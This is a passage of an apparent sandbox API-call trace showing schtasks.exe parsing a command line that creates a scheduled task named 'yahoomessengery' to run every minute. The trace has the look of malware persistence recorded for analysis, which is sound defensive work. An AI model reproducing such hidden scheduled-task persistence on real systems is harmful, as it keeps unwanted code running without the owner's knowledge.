MemoryPointer=0x18deb0) returned 0x74e [0067.007] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18deb0 | out: hHeap=0x170000) returned 1 [0067.007] SetLastError (dwErrCode=0x0) [0067.007] GetThreadLocale () returned 0x409 [0067.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.007] lstrlenW (lpString="create") returned 6 [0067.007] GetThreadLocale () returned 0x409 [0067.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.007] lstrlenW (lpString="?") returned 1 [0067.007] GetThreadLocale () returned 0x409 [0067.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.007] lstrlenW (lpString="s") returned 1 [0067.007] GetThreadLocale () returned 0x409 [0067.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.007] lstrlenW (lpString="u") returned 1 [0067.007] GetThreadLocale () returned 0x409 [0067.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="p") returned 1 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="ru") returned 2 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="rp") returned 2 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="sc") returned 2 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="mo") returned 2 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="d") returned 1 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="m") returned 1 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="i") returned 1 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.008] lstrlenW (lpString="tn") returned 2 [0067.008] GetThreadLocale () returned 0x409 [0067.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="tr") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="st") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="sd") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="ed") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="it") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="et") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="k") returned 1 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="du") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.009] lstrlenW (lpString="ri") returned 2 [0067.009] GetThreadLocale () returned 0x409 [0067.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.010] lstrlenW (lpString="z") returned 1 [0067.010] GetThreadLocale () returned 0x409 [0067.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.077] lstrlenW (lpString="f") returned 1 [0067.077] GetThreadLocale () returned 0x409 [0067.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.077] lstrlenW (lpString="v1") returned 2 [0067.077] GetThreadLocale () returned 0x409 [0067.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.077] lstrlenW (lpString="xml") returned 3 [0067.077] GetThreadLocale () returned 0x409 [0067.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.078] lstrlenW (lpString="ec") returned 2 [0067.078] GetThreadLocale () returned 0x409 [0067.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.078] lstrlenW (lpString="rl") returned 2 [0067.078] GetThreadLocale () returned 0x409 [0067.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.078] lstrlenW (lpString="delay") returned 5 [0067.078] GetThreadLocale () returned 0x409 [0067.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.078] lstrlenW (lpString="np") returned 2 [0067.078] SetLastError (dwErrCode=0x0) [0067.078] SetLastError (dwErrCode=0x0) [0067.078] lstrlenW (lpString="/create") returned 7 [0067.078] lstrlenW (lpString="-/") returned 2 [0067.078] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.078] lstrlenW (lpString="create") returned 6 [0067.078] lstrlenW (lpString="create") returned 6 [0067.078] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.078] lstrlenW (lpString="create") returned 6 [0067.078] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.078] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.078] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.079] lstrlenW (lpString="|create|") returned 8 [0067.079] lstrlenW (lpString="|create|") returned 8 [0067.079] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0067.079] SetLastError (dwErrCode=0x0) [0067.079] SetLastError (dwErrCode=0x0) [0067.079] SetLastError (dwErrCode=0x0) [0067.079] lstrlenW (lpString="/tn") returned 3 [0067.079] lstrlenW (lpString="-/") returned 2 [0067.079] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.079] lstrlenW (lpString="create") returned 6 [0067.079] lstrlenW (lpString="create") returned 6 [0067.079] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.079] lstrlenW (lpString="tn") returned 2 [0067.079] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.079] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.079] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.079] lstrlenW (lpString="|create|") returned 8 [0067.079] lstrlenW (lpString="|tn|") returned 4 [0067.079] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0067.079] SetLastError (dwErrCode=0x490) [0067.079] lstrlenW (lpString="?") returned 1 [0067.079] lstrlenW (lpString="?") returned 1 [0067.079] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.079] lstrlenW (lpString="tn") returned 2 [0067.080] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.080] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.080] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.080] lstrlenW (lpString="|?|") returned 3 [0067.080] lstrlenW (lpString="|tn|") returned 4 [0067.080] SetLastError (dwErrCode=0x490) [0067.080] lstrlenW (lpString="s") returned 1 [0067.080] lstrlenW (lpString="s") returned 1 [0067.080] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.080] lstrlenW (lpString="tn") returned 2 [0067.080] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.080] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.080] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.080] lstrlenW (lpString="|s|") returned 3 [0067.080] lstrlenW (lpString="|tn|") returned 4 [0067.080] SetLastError (dwErrCode=0x490) [0067.080] lstrlenW (lpString="u") returned 1 [0067.080] lstrlenW (lpString="u") returned 1 [0067.080] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.080] lstrlenW (lpString="tn") returned 2 [0067.080] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.080] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.081] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.081] lstrlenW (lpString="|u|") returned 3 [0067.081] lstrlenW (lpString="|tn|") returned 4 [0067.081] SetLastError (dwErrCode=0x490) [0067.081] lstrlenW (lpString="p") returned 1 [0067.081] lstrlenW (lpString="p") returned 1 [0067.081] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.081] lstrlenW (lpString="tn") returned 2 [0067.081] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.081] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.081] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.081] lstrlenW (lpString="|p|") returned 3 [0067.081] lstrlenW (lpString="|tn|") returned 4 [0067.081] SetLastError (dwErrCode=0x490) [0067.081] lstrlenW (lpString="ru") returned 2 [0067.081] lstrlenW (lpString="ru") returned 2 [0067.081] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.081] lstrlenW (lpString="tn") returned 2 [0067.081] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.081] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.081] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.081] lstrlenW (lpString="|ru|") returned 4 [0067.081] lstrlenW (lpString="|tn|") returned 4 [0067.082] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0067.082] SetLastError (dwErrCode=0x490) [0067.082] lstrlenW (lpString="rp") returned 2 [0067.082] lstrlenW (lpString="rp") returned 2 [0067.082] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.082] lstrlenW (lpString="tn") returned 2 [0067.082] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.082] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.082] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.082] lstrlenW (lpString="|rp|") returned 4 [0067.082] lstrlenW (lpString="|tn|") returned 4 [0067.082] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0067.082] SetLastError (dwErrCode=0x490) [0067.082] lstrlenW (lpString="sc") returned 2 [0067.082] lstrlenW (lpString="sc") returned 2 [0067.082] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.082] lstrlenW (lpString="tn") returned 2 [0067.082] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.082] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.082] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.082] lstrlenW (lpString="|sc|") returned 4 [0067.082] lstrlenW (lpString="|tn|") returned 4 [0067.082] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0067.083] SetLastError (dwErrCode=0x490) [0067.083] lstrlenW (lpString="mo") returned 2 [0067.083] lstrlenW (lpString="mo") returned 2 [0067.083] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.083] lstrlenW (lpString="tn") returned 2 [0067.083] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.083] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.083] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.083] lstrlenW (lpString="|mo|") returned 4 [0067.083] lstrlenW (lpString="|tn|") returned 4 [0067.083] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0067.083] SetLastError (dwErrCode=0x490) [0067.083] lstrlenW (lpString="d") returned 1 [0067.083] lstrlenW (lpString="d") returned 1 [0067.083] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.083] lstrlenW (lpString="tn") returned 2 [0067.083] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.083] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|d|") returned 3 [0067.083] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.083] lstrlenW (lpString="|d|") returned 3 [0067.083] lstrlenW (lpString="|tn|") returned 4 [0067.083] SetLastError (dwErrCode=0x490) [0067.083] lstrlenW (lpString="m") returned 1 [0067.083] lstrlenW (lpString="m") returned 1 [0067.084] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.084] lstrlenW (lpString="tn") returned 2 [0067.084] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.084] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|m|") returned 3 [0067.084] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.084] lstrlenW (lpString="|m|") returned 3 [0067.084] lstrlenW (lpString="|tn|") returned 4 [0067.084] SetLastError (dwErrCode=0x490) [0067.084] lstrlenW (lpString="i") returned 1 [0067.084] lstrlenW (lpString="i") returned 1 [0067.084] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.084] lstrlenW (lpString="tn") returned 2 [0067.084] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.084] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|i|") returned 3 [0067.084] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.084] lstrlenW (lpString="|i|") returned 3 [0067.084] lstrlenW (lpString="|tn|") returned 4 [0067.084] SetLastError (dwErrCode=0x490) [0067.084] lstrlenW (lpString="tn") returned 2 [0067.084] lstrlenW (lpString="tn") returned 2 [0067.084] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.084] lstrlenW (lpString="tn") returned 2 [0067.084] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.085] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.085] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.085] lstrlenW (lpString="|tn|") returned 4 [0067.085] lstrlenW (lpString="|tn|") returned 4 [0067.085] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0067.085] SetLastError (dwErrCode=0x0) [0067.085] SetLastError (dwErrCode=0x0) [0067.085] lstrlenW (lpString="yahoomessengery") returned 15 [0067.085] lstrlenW (lpString="-/") returned 2 [0067.085] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0067.085] SetLastError (dwErrCode=0x490) [0067.085] SetLastError (dwErrCode=0x490) [0067.085] SetLastError (dwErrCode=0x0) [0067.085] lstrlenW (lpString="yahoomessengery") returned 15 [0067.085] StrChrIW (lpStart="yahoomessengery", wMatch=0x3a) returned 0x0 [0067.085] SetLastError (dwErrCode=0x490) [0067.085] SetLastError (dwErrCode=0x0) [0067.085] lstrlenW (lpString="yahoomessengery") returned 15 [0067.085] SetLastError (dwErrCode=0x0) [0067.085] SetLastError (dwErrCode=0x0) [0067.085] lstrlenW (lpString="/sc") returned 3 [0067.085] lstrlenW (lpString="-/") returned 2 [0067.085] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.085] lstrlenW (lpString="create") returned 6 [0067.085] lstrlenW (lpString="create") returned 6 [0067.086] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.086] lstrlenW (lpString="sc") returned 2 [0067.086] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.086] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.086] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.086] lstrlenW (lpString="|create|") returned 8 [0067.086] lstrlenW (lpString="|sc|") returned 4 [0067.086] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0067.086] SetLastError (dwErrCode=0x490) [0067.086] lstrlenW (lpString="?") returned 1 [0067.086] lstrlenW (lpString="?") returned 1 [0067.086] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.086] lstrlenW (lpString="sc") returned 2 [0067.086] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.086] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.086] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.086] lstrlenW (lpString="|?|") returned 3 [0067.086] lstrlenW (lpString="|sc|") returned 4 [0067.086] SetLastError (dwErrCode=0x490) [0067.086] lstrlenW (lpString="s") returned 1 [0067.086] lstrlenW (lpString="s") returned 1 [0067.086] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] lstrlenW (lpString="sc") returned 2 [0067.087] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.087] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.087] lstrlenW (lpString="|s|") returned 3 [0067.087] lstrlenW (lpString="|sc|") returned 4 [0067.087] SetLastError (dwErrCode=0x490) [0067.087] lstrlenW (lpString="u") returned 1 [0067.087] lstrlenW (lpString="u") returned 1 [0067.087] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] lstrlenW (lpString="sc") returned 2 [0067.087] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.087] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.087] lstrlenW (lpString="|u|") returned 3 [0067.087] lstrlenW (lpString="|sc|") returned 4 [0067.087] SetLastError (dwErrCode=0x490) [0067.087] lstrlenW (lpString="p") returned 1 [0067.087] lstrlenW (lpString="p") returned 1 [0067.087] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] lstrlenW (lpString="sc") returned 2 [0067.087] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.087] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.087] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.088] lstrlenW (lpString="|p|") returned 3 [0067.088] lstrlenW (lpString="|sc|") returned 4 [0067.088] SetLastError (dwErrCode=0x490) [0067.088] lstrlenW (lpString="ru") returned 2 [0067.088] lstrlenW (lpString="ru") returned 2 [0067.088] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.088] lstrlenW (lpString="sc") returned 2 [0067.088] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.088] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.088] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.088] lstrlenW (lpString="|ru|") returned 4 [0067.088] lstrlenW (lpString="|sc|") returned 4 [0067.088] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0067.088] SetLastError (dwErrCode=0x490) [0067.088] lstrlenW (lpString="rp") returned 2 [0067.088] lstrlenW (lpString="rp") returned 2 [0067.088] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.088] lstrlenW (lpString="sc") returned 2 [0067.088] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.088] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.088] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.088] lstrlenW (lpString="|rp|") returned 4 [0067.089] lstrlenW (lpString="|sc|") returned 4 [0067.089] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0067.089] SetLastError (dwErrCode=0x490) [0067.089] lstrlenW (lpString="sc") returned 2 [0067.089] lstrlenW (lpString="sc") returned 2 [0067.089] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.089] lstrlenW (lpString="sc") returned 2 [0067.089] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.089] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.089] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.089] lstrlenW (lpString="|sc|") returned 4 [0067.089] lstrlenW (lpString="|sc|") returned 4 [0067.089] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0067.089] SetLastError (dwErrCode=0x0) [0067.089] SetLastError (dwErrCode=0x0) [0067.089] lstrlenW (lpString="MINUTE") returned 6 [0067.089] lstrlenW (lpString="-/") returned 2 [0067.089] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0067.089] SetLastError (dwErrCode=0x490) [0067.089] SetLastError (dwErrCode=0x490) [0067.089] SetLastError (dwErrCode=0x0) [0067.089] lstrlenW (lpString="MINUTE") returned 6 [0067.089] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0067.089] SetLastError (dwErrCode=0x490) [0067.090] SetLastError (dwErrCode=0x0) [0067.090] GetProcessHeap () returned 0x170000 [0067.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d720 [0067.090] _memicmp (_Buf1=0x18d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.090] lstrlenW (lpString="MINUTE") returned 6 [0067.090] GetProcessHeap () returned 0x170000 [0067.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d740 [0067.090] lstrlenW (lpString="MINUTE") returned 6 [0067.090] lstrlenW (lpString=" \x09") returned 2 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0067.090] StrChrW (lpStart=" 